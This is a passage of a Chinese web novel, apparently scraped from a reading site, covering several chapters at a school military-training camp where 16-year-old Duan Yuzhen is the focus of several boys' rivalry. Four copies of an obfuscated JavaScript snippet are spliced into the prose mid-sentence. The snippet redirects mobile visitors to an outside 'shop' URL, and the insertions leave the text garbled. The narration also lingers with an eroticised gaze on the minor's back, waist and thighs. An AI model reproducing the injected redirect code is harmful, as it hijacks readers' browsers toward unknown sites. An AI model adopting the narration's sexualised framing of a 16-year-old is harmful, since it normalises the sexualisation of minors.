陆岳之有些恼火,默默跟他对峙,等着他把头转回来继续和自己说话,但是并没有。 没人能搞懂段予真的脑袋里当下正在想些什么,他也毫不意外地失败了。 军训基地终于到了。坐在后排的一个男生热情地帮段予真把背包取了下来,段予真对他道谢。男生又指指自己,似乎还想再说点什么,但段予真已经拎着包,脚步轻快地跳下了阶梯。 陆岳之走在后面转头瞥了那男生一眼,发现他表情失望,不由在心里冷笑。 以为认识段予真这个脾气古怪的小屁孩,会是什么好事吗? 下车后,段予真立刻找了个阴凉的地方呆着,等严烈来找自己。 他蹲在门卫的值班室旁边,一转头发现身边趴着只很老的吉娃娃,于是又吹了声口哨开始逗狗。吉娃娃好像很久没被人亲近过了,拖着沉甸甸的铁链,流着涎水啪嗒啪嗒走过来舔他的手指。 “你叫什么?”段予真对吉娃娃说,说完觉得有歧义,又补充:“我是问你叫什么名字。你身上这么多点,不会叫点点吧。” 陆岳之站在不远处看着这一幕:“……” 原来他对狗的兴趣,都比对人的大。 严烈很快找了过来:“小真!” 接着他被吉娃娃丑得吓了一跳:“这狗真丑。” 段予真左手被吉娃娃舔着,右手捂住它的耳朵,抬头眯着眼睛看了看严烈,替狗发声:“你也没好看到哪去。” “唉,好吧,我最丑。该去宿舍了。”严烈看了眼腕表:“小真,收拾完床铺还得去食堂抢饭,我们得快点。” 段予真站起来洗了洗手,跟着他离开的时候,一边走还一边不住地回头看那只狗。 严烈了然:“你又同情心泛滥了。” “那么小的狗,脖子上栓条那么粗的链子。”段予真嘀咕。 “去年来的时候栓的还是条狼狗。”严烈回忆着:“后面好像病死了。” 段予真烦躁地啧了声。 食堂的饭菜实在不好评价,一荤两素要么清汤寡水,要么油腻腻根本没法下筷。段予真吃了半份饭就搁下筷子。 严烈知道天热他没胃口吃这些东西,说:“我包里有巧克力饼干。你吃完先去洗澡吧,再晚点澡堂根本抢不到位置。” 段予真心情不好,听他说什么都不顺耳:“你怎么就能确定我想吃巧克力饼干?” 他起身离开食堂。 段予真到严烈的寝室拿了饼干,叼在嘴里慢慢啃着,溜达回自己的寝室,拿出衣服去澡堂。 这会儿大多数人都还在排队打饭,澡堂里很空荡。段予真站在淋浴头底下认真搓着头发,忽然听到由远及近的脚步声。 那个人偏偏停在了他旁边的位置。段予真纳闷地朝旁边看了一眼,惊讶地转过身来:“沈学长。” 沈群肩上搭了条毛巾,笑呵呵地看着他:“予真没去吃饭啊?” “随便吃了点,没胃口。”段予真顶着满脑袋的泡沫和他说话:“你怎么也来了。” 他以为沈群的身体条件肯定是免军训的。 沈群伸手调试着水温,说:“去年就没来,还是想参与一下,所以跟班主任提了申请。能过来看看场地也好。” “所以你不用参加训练?” “不用。”沈群摇摇头:“你在哪个连队,我去你们连队旁边呆着,你要是扛不住训练了,朝我使个眼色就好。” 段予真问:“然后呢?” “然后我突然腿疼,你可以帮忙扶着我去医务室。”沈群狡猾地冲他挤了挤眼睛。 段予真幻想着他所说的场景,乐不可支。 洗完澡,段予真站在走廊里吹风。沈群回了趟寝室,拿着一兜洗过的葡萄来找他:“予真,吃水果。” “谢谢。”段予真和他并排站着,一起吹风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971440|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈群是最容易让他产生好感的那种人,脾气温和但是不沉闷不木讷,磁场也合得来,两人安静地呆着,不说话都很舒服。 这会儿功夫,陆续有吃完饭的学生回来洗澡了。段予真和沈群说着话,眼睁睁看着陆岳之走进寝室,在自己对面的床位坐下。 他跟进去:“你也住这里?” 陆岳之默默分析着他的语气是惊喜还是惊吓,没有分析出来,嗯了声。 段予真既不惊喜也不惊吓,平静地说:“这么巧啊。” 军训基地附近都是农田,入夜之后很多蚊子。寝室里点了蚊香但作用微乎其微,段予真给自己全身都涂了驱蚊水,但可能是他和寝室里其他人比起来太过细皮嫩肉了,睡到半夜还是被环绕不散的嗡嗡声吵醒。 他翻身坐起,看着胳膊肘上红通通的蚊子包。隔着层朦胧的蚊帐,睡在对面的陆岳之翻了个身,在黑暗中分不清是脸对着他还是后脑勺对着他,但片刻之后突然坐了起来,拿出背包里的一个东西来到段予真的床铺前。 寝室里其他人都在呼呼大睡,他放轻声音,只伸了一只手到蚊帐里面:“药油。涂完就不会痒了。” 段予真看着他的手:“你的手也好大,还有好多老茧。” 陆岳之沉沉地嗯了声。 “谢谢。”他从陆岳之手上捏起那个玻璃瓶,扒开半边衣领,歪着头从肩膀开始涂。 陆岳之不由俯身,试图凑近看得清楚些:“肩上也有?” 段予真在蚊帐里小小地缩成一团,声音很轻,跟平常不太一样,慢吞吞黏糊糊的:“对呀……还有后背。” 他别着手艰难地往脊背上涂药,陆岳之看不下去了:“把药给我。” 段予真以为他嫌自己用得太多,拧上瓶盖还了回去。 “你,”陆岳之呼吸停顿了下,将药油在手心里揉开:“你把衣服拉起来,我帮你涂。” 为了避免在涂药的过程中段予真又被蚊子咬到,他小心地掀开一点蚊帐,上半身钻了进去,坐在床边。段予真很习惯被人伺候,挠了挠颈边的蚊子包,将衣摆卷起,后背对着陆岳之等他给自己涂药。 他的腰身……很薄,但并不干瘦,而是有着柔韧的肉感。衣服推上去之后,整片清瘦脊背是柔和雪白的一段,逐渐收拢至窄腰,皮肤之下隐约可见纤细骨骼的轮廓起伏。 绵绵的,由奶油涂抹而成的雪山。不高,不险,只是一座弧度和缓,景致秀丽的小山丘,非常值得游人宝爱赏玩。 段予真抱着小腿,下巴压在膝盖上,感觉到陆岳之燥热的手指在背上移动。他问:“是不是有很多?” 陆岳之看着眼前的零星两三个红点:“对。” 他睁大眼睛在黑暗中慢慢地涂着,涂得段予真都有些困了,手背掩着唇打了个呵欠:“陆岳之……” 他头一回叫出这个名字,带着止不住的困乏,声音比日常更慵懒些,几乎像在撒娇。 “好了。”陆岳之扯下他的衣服盖住后背:“腿上你自己再涂一涂,涂完记得洗手。” 他叮嘱完段予真,自己却首先没有做好示范,从蚊帐里退出去直接就躺倒在床上。 段予真捏着玻璃小瓶,垂下脑袋慢慢涂着小腿和脚背,一点没注意对面的动静。 陆岳之心跳狂乱,动作很慢地翻了个身背对他,睁着眼睛将两只手摊开伸到面前,然后低头凑近嗅了嗅。 药油气味太重了,但是,仔细闻的话,隐约地好像还是能闻到一丝丝柚子的甜香…… 皮肤那柔软细腻,令人爱不释手的触感也还残留在指腹。他手指蜷曲着,在空气中难以自控地颤动。 5. 05 次日一早,军训正式开始了。 段予真对于军训的好奇心压过了在这过程中吃到的苦头,两天之后,他就完全习惯了基地里紧张而无趣的生活节奏,不管训练哪个项目,都保持着十足的热情。只是,在休息的时候,段予真不喜欢跟其他人聊天,而是总跑到保安室那里去看狗。 吉娃娃脖子上的狗链是铁的,经太阳一晒变得滚烫,又很沉,它被拴在很小的一圈范围里,连个窝都没有,想要乘凉只能拖着铁链尽量往保安室的屋檐底下躲,但狗链长度有限。大多数时间,它都吐着舌头趴在太阳地里,看起来很难受。 段予真问保安:“这是你的狗吗?” 保安抽着烟,漠然地说:“外面捡的,老狗了,活不了多长时间。” 休息时间结束,教官在远处吹了哨子,段予真跑回连队,重新站在第一排。教官瞪着眼睛扫视过来,停在他面前:“段予真,你的帽子呢?!” 段予真看着他大声回答:“报告,我拿去给保安室的狗遮阳了。” 队伍里传出几声窃笑。 教官怒吼:“笑什么笑!” 他看着面前这个漂亮的,但是满脑子稀奇古怪念头的小孩,命令道:“三分钟之内,把你的帽子拿回来戴上!” 段予真说:“报告,我拒绝。” 他这两天表现一直很好,很规矩,没有做过任何出格的事,训练时间也没有偷过一次懒。教官转了转手里的口哨绳,放软语气:“给我一个理由。” “报告,天气太热了,它会被晒死的。” 段予真仍然直勾勾和教官对视着,眼睛里只有一片坦然。道道汗水顺着他被晒得通红的脸往下流淌。 僵持数秒后,教官叹了口气,摘下自己的帽子随手扣在他头上:“戴好。” 训练结束后段予真把帽子还给教官,又去看那只狗。 吉娃娃缩在他帽子的阴影里睡着了,嘴巴咧着,肚皮一鼓一鼓的。段予真蹲在旁边,让它躺在自己的影子里,伸手挥走落在狗耳朵上面的苍蝇,又拿着帽子给它扇风。 沈群一瘸一拐地走过来,递给他一瓶水:“予真,听说你和教官吵起来了?” “没有。”段予真闷声说。 沈群俯身摸了摸他的脑袋:“你好像很喜欢这只小狗。” “也不算喜欢。”段予真喝了点水:“只是可怜它。” “你看它的牙齿。”沈群说:“这狗至少有十来岁了,活不了太久。它已经吃苦吃习惯了,对它好是没有意义的。” 段予真嘁了声:“我知道,那又怎么样。” 他固执地蹲着。 沈群也慢慢地蹲了下来,拿着帽子给吉娃娃扇风。段予真看看他,沈群笑着说:“我也蹲会儿。” 半小时后,严烈的连队也结束了训练。他跑过来找段予真:“小真你又在逗狗啊,该吃饭了。” 沈群抬头看了他一眼,对他印象并不好,但知道这个人是段予真的朋友,所以什么都没说。 吉娃娃被严烈跑过来的脚步声惊醒,爬起来哒哒哒地回到墙根底下。这会儿太阳已经斜照,晚风逐渐吹了起来,没那么热了。 段予真站起来,又扶了沈群一把:“今天有什么东西。” 严烈说:“据说是猪肉白菜粉条,烧芋头,清炒菜苔。” 段予真一听就觉得倒胃口,摆摆手:“我还是回去吃饼干吧。” 他从进了这个基地以后每天都吃得很少,依然精力充沛,算是种天赋。 沈群说:“我那里也还有些零食,给你拿过去。” 严烈搭着段予真的肩膀:“不用了吧,小真吃东西很挑,最近只喜欢我买的这种巧克力饼干。” “天天吃,再喜欢也会吃腻的。”沈群微笑着说。 他们两个你一句我一句,段予真四处张望着,看到个路过的熟人,招了招手:“陆岳之!” 陆岳之左手拿着食物,右手拿着书,硬生生被他从半个操场之外召唤了过来:“有事?” “你在吃什么呢。”段予真看着他手里透出油印的纸袋。陆岳之说:“苦瓜鸡蛋煎饼。” 大多数学生好像都觉得这个东西太黑暗了,所以窗口前面没几个人排队。而他只想节省时间不在乎口味,索性就买了几个充饥。 段予真问:“味道怎么样?” 陆岳之对食物的评价只有两个字:“能吃。” 他把袋子递到段予真面前:“自己拿。” “谢谢。”段予真捏了一块出来,咬下一口:“真难吃。” 然后又吃了一口:“好像还行。” 吃到第三口的时候,他眼睛微微亮了:“嗯……” 严烈明白,他已经沦陷了。 “我再去给你买点?”严烈试探着问。 段予真吃完饼,摇了摇头:“我饱了。你们快去吃饭吧。” 他跟着陆岳之回寝室了。 半路上陆岳之也问:“你今天怎么跟教官吵起来了。” 他个子高,远远站在最后一排,除了教官最开始吼的两句,什么也没听清。 段予真不耐烦老是被问同一个问题:“我把帽子拿去给狗戴了!” 陆岳之明白过来,沉默了一下,说:“你没必要这么做,它只是狗,不会感激你的好意。” “谁要它感激。”段予真说:“你也说了,它就是一条小狗,用不着考虑人类脑子里才有的这些乱七八糟的东西。没意思透了。” 陆岳之无言以对。 段予真洗过澡,涂了驱蚊水躺在床上。陆岳之坐在书桌前,边吃晚饭边做数学练习题。 片刻后,他听到段予真的蚊帐里传出很轻的哼歌声,不是他听过的任何一首流行曲。 “这是什么歌。”等段予真安静了之后,陆岳之忍不住问。 他问完过了几分钟,走到床边俯身看了看,段予真偏着脑袋已经睡着了,红扑扑的脸颊上还留着几道竹编凉席的印痕。 室友都没有回来。陆岳之伸出手,隔着蚊帐戳了戳段予真柔软的脸蛋。 早上段予真睡醒的第一件事,就是跳下床冲到正在刷牙的陆岳之面前,两个拳头在身侧攥得很紧,仰脸望着他:“你昨天趁我睡着戳我的脸了,是吧?” 陆岳之看着镜子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971441|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段予真不高兴的脸,漱了漱口,洗掉嘴边的牙膏沫,开始准备刮胡子。 “别以为我不知道……虽然当时我在做梦,但是照样能感觉得一清二楚。”段予真几缕头发被枕头压得在头顶翻了起来,随着他说话还在一晃一晃。 陆岳之狡辩:“你怎么知道是我。” “除了你,谁身上还有这么重的药油味。”段予真怒视了他一会儿,觉得再生气下去,就对自己的肝不太好了,伸手摸了摸肝脏所在的位置,平静下来开始刷牙洗漱。 他洗漱完,陆岳之还在刮胡子。 段予真好奇地旁观陆岳之刮胡子,不由也伸手摸了摸自己光滑白皙的人中和下巴。陆岳之看着他的动作,闷笑一声:“怎么。” “没事,看看不行啊。”段予真转身走了。 军训很快过去了一周。周末这天,学生们被允许给家里打个电话。 段予真拿到手机,开口就是:“妈妈,我要养一只狗。很小的,吃不了多少东西……不用,我拿自己的零用钱养。唉,那好吧。” 这几句话说完之后,他就挂断了,半个字没提自己的军训生活。 打完电话段予真哼着歌走到食堂,跟后勤买了颗水煮蛋,把蛋黄掰碎了拿去喂狗。 “我妈说等军训完了让我养。就剩几天了,你再等等吧。”段予真挠着吉娃娃的后背,认真地自言自语:“我会给你养老送终的。但是我不想叫你点点,改个名字怎么样?不如就叫pancake……” 他这几天已经和狗建立了深厚的感情,彼此之间非常信任。吃完蛋黄,吉娃娃把小脑袋搭在他手心,闭着眼睛犯困。 周末没有安排训练,打完电话,学生们被集中到礼堂一起看电影。礼堂里人挤人,凳子不够只能席地而坐,还有股臭烘烘的汗味,段予真呆得很不舒服,跟教官申请了回寝室休息。 他独自呆在安静的寝室里,很自在地又哼起歌,将床铺收拾了一遍,坐在书桌前吃着饼干。 寝室门忽然被人推开,陆岳之也提前回来了。段予真不受外界干扰,专心数着饼干被自己咬了一口之后,还剩下多少个小洞,直到陆岳之主动跟他说话:“你之前是在哪里念书。” 段予真停下计数,报出个高中的名字。陆岳之不认识,只听出来是国外的学校:“一直呆在外面吗?” 段予真说:“基本上吧。放假的时候会回来住段时间。” “为什么,”陆岳之问:“你父母也在那边?” “没有。我妈在国内,我爸到处跑,我还有个大哥,他也从小没人管。我们家孩子都是野生的,纯放养,天然无污染。”段予真掰着饼干,不等他再问就一股脑地解释: “照顾我的保姆退休了,我觉得很不习惯所以干脆就回来生活。我今年十六岁,水瓶座,目前正在享用我最爱的巧克力饼干。你还有什么要问的吗?没有就退下。” 他有时候说话很像是个懒得搭理人类的机器人。 陆岳之点头:“那我退下了,公主殿下。” 段予真像是被针扎了屁股,猛地从椅子上弹起来,面红耳赤:“谁准你这么叫我了?” 6. 06 陆岳之诧异又好笑,看着他说:“严烈不就这样叫你?” “他是他,你是你。”段予真警告他:“以后别这样叫我。被严烈听到的话他会揍你的。” “是么。”陆岳之讪讪地又笑了一下。 吃完饼干段予真就睡觉了。他正是长身体的年纪,现在每天必须早起,所以睡得也更早。 半梦半醒中,段予真突然听到有人叫自己。他哆嗦了下,半闭着眼睛抬起头左右看了看,其他几个室友都在熟睡着,鼾声如雷。 段予真倒下去继续睡,但是没几分钟,又听到有人鬼鬼祟祟地叫自己的名字:“小真?段予真……公主殿下!” 接着还有窗户被敲打的声音。 这次不等段予真爬起来,对面床上的陆岳之就翻身下床,走到门口打开了一条缝,对着外面闷声说:“他睡了。” 段予真还没有睡着,揉着眼睛又坐起来:“谁啊?” 陆岳之回头看了看他,没有说话。严烈的声音从门缝中传来:“是我,严烈!” 段予真踩着拖鞋,捂嘴打了个呵欠,挤到陆岳之身边的时候眼睛都没睁开:“找我干嘛。” 陆岳之一只手还扶在门上,因为段予真的靠近,朝上挪了挪,手臂肌肉被他毛茸茸的脑袋蹭着,手指收紧了些抓着门框,却没有移开。 他垂眼瞥着段予真清瘦的脊背,被当做睡衣穿的这一件大t恤空空荡荡地罩在身上,透过模糊的光影,隐约勾勒出少年纤秀窈窕的身形。 段予真察觉到他盯着自己,抬脸看了看他,一向锋芒毕露的凤眼此时蒙着朦胧雾气,看人时显得很是缱绻。 他的眼神,总有一种任是无情也动人的感觉。 陆岳之红着耳朵扭头去盯墙角掉落的墙皮。 “我们寝几个人溜出去买了点宵夜。”严烈跟个大金毛似的,将脑袋抵在门口看着段予真:“去我那吧小真。” 段予真说:“我要睡觉了,熬夜会长痘。” “这会儿才刚过十一点,还早,不算熬夜。你要是吃困了,睡我床上就行。”严烈伸手牵他:“走吧公主殿下。” 段予真又打了个呵欠,被他拉着手走了。陆岳之身侧一空,站在门边许久回不过神。 严烈的寝室在走廊另一头,从外面看黑漆漆的并无异常,一进门,便闻到烧烤香料的浓郁味道。几个男生用手电筒打着光,在中间空地铺了块凉席,凉席上又拼了几张凳子,铺开锡纸,摆满了食物和饮料。 段予真一进门就开始嫌弃:“难道要我坐地上吗?” “不,你坐这。”严烈拿自己的枕头垫在床上让他坐着,“这样能舒服点。” 段予真坐下之后,严烈忙前忙后地给他拿吃的,倒饮料。段予真不喜欢严烈室友盯着自己的那种目光,脸色冷冷的,坐在床边自顾自地吃着东西根本不搭理他们。 “这就是你说的公主殿下?”左鸿不爽地低声对严烈吐槽:“冷着脸什么意思,谁欠他的了。真把自己当公主了。” 严烈说:“不懂就别发言,吃你的吧。” 左鸿撇撇嘴,又低头跟另一个室友张明杰交头接耳:“你看到没有,刚才他一进来,看我们那个眼神跟看垃圾似的。搞笑,拽什么拽啊。” “就是,真以为人人都跟老严似的愿意舔他。”张明杰说:“不就是长得好看么,有什么了不起。” 两个人一边议论,一边暗暗观察着段予真。 他穿着的那件t恤太宽大了,运动短裤被遮盖得只露出小半截,乍一看甚至有点像下衣失踪的那种穿搭。白嫩的大腿肉被坚硬的床板抵着,在床沿边缘处堆挤出了柔软而丰润的线条,再往下是修长笔直的小腿,纤细的脚踝,踩在拖鞋里的秀气的脚。每一寸都漂亮得无可挑剔。 虽然对人的态度不好,但段予真对待食物倒很认真,吃东西的时候动作很斯文,不慌不忙,在他们这堆粗糙大汉之中更显得优雅。 好吧。老严经常挂在嘴边的这个绰号看来还真没起错。左鸿暗想。 过了几分钟,严烈起身:“我去趟洗手间。” 段予真吃得有点渴,但杯子里的饮料已经喝完了。他目光转了转,想再倒一点。 “小真,你的果汁喝完了?我给你倒。”左鸿察觉到他的意图,伸手就去拿饮料,却发现张明杰几乎和自己动作同步,两只手同时握住了那瓶橙汁,谁也不让。 左鸿:“……” 张明杰:“……” 不是嫌人家不给你好脸色,还在那鄙视“拽什么拽”吗? 不是说人家“长得好看有什么了不起”吗? 怎么回事哥们儿?这么快就被美色蒙蔽了吗?! 段予真看着被他们沾了油渍的手握住的橙汁,眉头一皱,难掩脸上的嫌弃。他放下杯子转而拿起一听七喜,用筷子撬开了拉环。 严烈洗过手出来,在他身前的位置重新坐下,拿走那根筷子:“怎么不让他们帮你开?这么弄很容易伤到手。” 段予真随意地抬脚踩在他宽阔脊背,仰头喝了口饮料:“嫌脏。” 吃了点东西,段予真重新去刷牙洗漱,严烈给他准备好了全新的牙杯牙刷。 段予真刷牙的时候,左鸿拉开门静悄悄地钻了进来。他有些刻意地咳嗽了一声:“小真你在刷牙啊,我还想用下水池呢,那我先等等好了。不着急你慢慢刷。” 段予真一点反应都没有,继续刷牙。左鸿叉着腰站在后侧看着他,忽然又说:“听老严说你打球挺厉害的,我平时有事没事也喜欢练两手。哪天练球要是缺搭子,可以找我。” 左鸿说着,见段予真脸上没有厌烦的意思,慢慢走近:“小真,你皮肤好白啊。脸也小手也小,腰这么细,身上还香香的……难怪老严总叫你公主。” 段予真刷完了牙,终于开口说话:“离我远点。” “……嗯?怎么了?” “你太臭了。”段予真说完就推门出去,留下左鸿尴尬地张着嘴。他闻了闻自己的胳膊,臭吗?这不就是普通男人身上的味道?他洗过澡也没多久啊,不然哪会有勇气进来搭讪。 行吧。看来段予真的脾气比他想象中还要难以揣摩,一般人还真伺候不来。 段予真洗漱完就爬上严烈的床铺,面向着墙开始睡觉。其他几个人吃完收拾收拾东西,也都去刷牙了。 片刻后,一只手搭在了段予真腰间,随之而来的还有身后源源不断散发出的热气。他将那只手拿开:“严烈,下去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971442|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>寝室里一共四张床,有个室友中途请假离开了基地,床铺空着。所以严烈爬上来跟他挤一起,完全是死皮赖脸。 “我们都多久没躺一起睡觉了?”严烈侧躺在段予真身后,枕着手臂,目光流连在他白皙的颈间,幽怨地说:“公主殿下真是越来越小气,抱一下都不行。小时候我哪天不是抱着你走来走去的。唉,早知道这样还不如不长大。” “你现在壮得跟头野猪似的,跟你躺一起热得根本睡不着。”段予真烦躁地朝墙壁那边缩了缩:“不滚就安静点,再说话掐死你。” 严烈安静下来,轻手轻脚下床,从窗边的桌上拿了几张不知道谁的草稿纸,举在手里,躺在段予真身后默默给他扇风。 寝室里静悄悄的,只有纸张扇动时的细微声响,似乎除了严烈以外,每个人都已经睡着了。然而黑暗里却有四只眼睛正默默地盯着严烈的床铺,目标是几乎被他完全挡住了身形,蜷缩在内侧熟睡的段予真。 段予真入睡很快,睡着之后,轻轻翻了个身面向严烈,无意识地向对方扇出的那股凉风靠近。他脑袋底下枕着的是严烈的一叠衣服,为了能让他睡得更舒服点,严烈又小心地将一条手臂垫在了他颈下。 从旁观的角度来看,根本是亲密地依偎在一起。 不就是青梅竹马吗,不就是从小认识吗,早了十几年而已,有什么了不起的。 要是换了我,肯定能伺候得更好。 …… 一晚过去,整个寝室也就只有段予真睡了个好觉。但他仍然很不开心,因为严烈的床铺没有拉蚊帐,他又被蚊子咬了。 早晨段予真爬起来,郁闷地回到自己的寝室刷牙洗脸。陆岳之站在旁边水池拧干刚洗完的床单,看到他靠近,不知怎么有点心虚似的往另一边躲了躲。 但是很快,他的视线又投了过来,落在段予真白嫩肩颈处泛红的地方,眉头紧了紧,手指碰了上去。段予真拍开他冰凉的指尖:“准你碰了吗。” “蚊子咬的?”陆岳之问。 段予真瞪他一眼:“不然呢?” 陆岳之拿着床单闷不吭声地去晾,晾完又来到他身边,手里放着药油:“我帮你擦,还是你自己来。” 外面响起了起床号。再不抓紧时间,去食堂吃饭就得落在队伍后面了。 陆岳之看看段予真手里的洗面奶:“我帮你吧。” 他低头凑近,好将蚊子包看得更清楚些,但缓和没多久的脸色很快又阴沉了下去。陆岳之极力控制着,没有让段予真发现自己眼神的变化。 是严烈衣服上那股做作的檀香味。 只是躺在一起的话,味道不至于这么明显,也不至于沾染得到处都是。所以至少也是拥抱了吧。 还是说,段予真整个晚上都被严烈抱着。 会不会平时也是这样?严烈狗腿得那么无微不至,都可以跟段予真走到哪里都拉着手了,如果他进一步提出想要拥抱,大概率也不会被拒绝。 也对。毕竟段予真是只有他一个人能叫的公主殿下,牵手也好拥抱也好,又算得了什么。 陆岳之无法抑制脑子里疯狂涌出的糟糕想法,嗅着段予真身上沾染到的来自另一个男生的味道,默不作声地为他涂抹着药油。 7. 07 陆岳之戴上帽子走出寝室的时候,严烈正倚在门口,等着段予真出来,然后一起去吃早饭。 两个人视线短暂交锋,严烈嘴角的笑一点点垮了下去。他对陆岳之的眼神太熟悉了,从小到大不知有多少这样的人,妄想取代自己在段予真身边的位置。 那种自以为掩饰得很好的,嫉恨交加的目光,以及对他的质疑与不屑。 但是严烈没有把自己的厌恶表现出来,也什么都没说。陆岳之这种档次的竞争对手他甚至懒得花功夫去收拾,因为他了解段予真,他的公主殿下喜欢的是温柔的类型,不是这种穷酸还自命清高的家伙。 虽然他也不够温柔,但至少有在努力贴近。 手指突然被握住,严烈下意识地捉紧,侧过头面对段予真时已经露出惯常的阳光笑容:“去吃早饭吧小真,今天有八宝粥。” 段予真被他牵着懒洋洋地往前走。 一直到走进食堂买完了早饭,陆岳之都静静地跟在两个人身后,看着他们。 八宝粥太烫,冒着丝丝缕缕的热气,段予真搅了搅,就松手丢开勺子:“不想喝了。” “凉一下就好了。”严烈拿过他的碗,又是吹气又是不停地翻搅,手背贴着碗感觉温度合适,舀起一勺喂到段予真嘴边:“尝尝,我放了小半勺砂糖,甜度应该正好。” 段予真皱眉喝了下去,严烈还想喂,手就被他拍开。段予真低头慢慢喝着八宝粥,严烈又帮他将菜包掰开放在面前,等他喝粥喝得差不多的时候,就是刚好可以入口的温度了。 “不要一直盯着我,吃你的饭。”段予真命令。 严烈笑嘻嘻地说:“小真这么关心我啊。” 段予真不理他,拿起包子咬了一小口,慢慢地咀嚼着。 陆岳之若有所思。原来段予真这样说话,就是在表达关心。 吃过饭到操场上集合,教官训完话之后就开始做操,晨跑。 今天空气很沉闷,天气也阴着,像是要下雨。跑步的时候,陆岳之习惯性地在逐渐散乱的人群中挤到了最前面,跑在段予真身后的位置。 他一直好奇,段予真看起来娇生惯养,每天吃得也少,为什么体力竟然还比大部分学生都好很多。 每天的晨跑,段予真都在队伍前方,速度保持得很均匀,从来没落后过。 陆岳之又往前了一点,看着段予真的侧脸。 小小的一颗脑袋,因为运动而变得粉红的脸,细密的汗水覆盖在皮肤上,眼睛直直地望着前面,唇瓣微抿,跑得很专心。 听到教官吹哨,学生们逐渐慢了下来,直到停住脚步。段予真回过神,发现陆岳之站在自己旁边,微微喘着气问:“你怎么跑前面来了。” “腿长,跑得快。”陆岳之说。 段予真心想,不会以为自己说话很幽默吧,冷冷哼了声,看了眼他的腿。 陆岳之个子高,比例也算不错,腿确实挺长。但段予真还是受不了他说话的那种口气,默默地远离,走到了另一边去。 陆岳之现在听到他的这种冷哼,已经不会再被惹恼了,只是觉得有趣以及好奇。因为段予真的感情其实经常表现得很简单很直白,直白到没办法用弯弯绕绕的心思去理解。 特别是像他这种从小对外界的眼光格外敏感,而且会习惯性猜疑的人来说,段予真的情绪如同一道解不开的谜题。 他暂时解不开,但是已经能够确定,段予真并没有恶意。 对段予真的好奇,让陆岳之更长久地将目光投在了他身上。 到了中午,连队先后去食堂吃饭。 严烈不在,段予真就一个人坐着。不是没人想跟他坐一起,而是他冷淡的神情实在令人不敢接近。陆岳之已经看到好几个学生端着餐盘鼓起勇气走向段予真那张桌子,走到近前,却又懊恼地转向了别处。 陆岳之发现段予真盘子里没有油焖虾,但是前几天只要有这道菜,他都会选。紧接着陆岳之明白过来,段予真喜欢吃虾,但讨厌剥壳,之前每次选这道菜的时候,都有严烈在旁边。 在陆岳之思考要不要换位置的时候,他看到沈群在段予真对面落座了。 陆岳之坐在原地没动,继续观察。 高一开学那会儿,陆岳之和沈群一起被叫到教导处,了解过家庭情况。后面两个人都因为各自的原因,拒绝了学校的贫困生补助。 陆岳之是因为自尊心。相比起白白拿到手的补助,他更愿意靠学习成绩得到奖学金,以及课余时间去做兼职挣钱。而沈群给老师的解释则是,这个补助用在他身上没有意义,还不如留给更需要的学生。 虽然同样家境清贫,但他的活法和陆岳之很不一样,心态似乎非常松弛,并不急于为未来做规划。 沈群盘子里有满满的一大份油焖虾,他拿出手套,笑眯眯地剥了虾壳,把虾肉放在段予真面前:“予真,快吃啊。” “沈学长你为什么可以有这么多?”段予真惊奇地问。 沈群说:“算一点小小的福利吧。我说我很喜欢吃这个,打饭阿姨同情我,就多盛了点。” “还能这样。”段予真喃喃。 “我选完素菜,纠结着荤菜要吃什么,看到你坐在这边,想着你不是很爱吃油焖虾吗?就要了一份。”沈群很快就剥出来好几只:“多吃点。” “那你吃我选的小炒肉吧。”段予真将自己的盘子往他面前推了推。沈群笑着问:“可以吗?还是你夹给我好了,免得沾上口水。” “没关系。”段予真低头吃着他剥好的虾肉,眼睛满足地弯了弯:“这是我吃过最好吃的油焖虾,好想去跟厨师要配方啊。” 陆岳之发现段予真吃到喜欢的东西,会变得有些孩子气,整个人都透露出愉快的情绪。 段予真食量不大,努力把沈群剥好的虾都吃掉了,小炒肉几乎没碰。饭后回寝室午休,他和沈群并肩走在一起,陆岳之又静静地跟着。 走到半路,他被沈群发现了。 沈群看到他,思考了一下,停住脚步。段予真也跟着停下来,随着他的目光看到陆岳之:“怎么了。” 他问沈群。 沈群态度友好地望着陆岳之:“陆岳之同学,请问你一直跟着我们,是有什么事情吗?” “我回宿舍,你们也回宿舍。同路而已。”陆岳之说。 “但是你从食堂到小花园,再到凉亭,图书室,一直都走在我们后面。回宿舍这么多条路,你都刚好顺路的话,未免太巧了。”沈群平静地说。 陆岳之语气生硬:“是吗。” 段予真拉了下沈群的袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 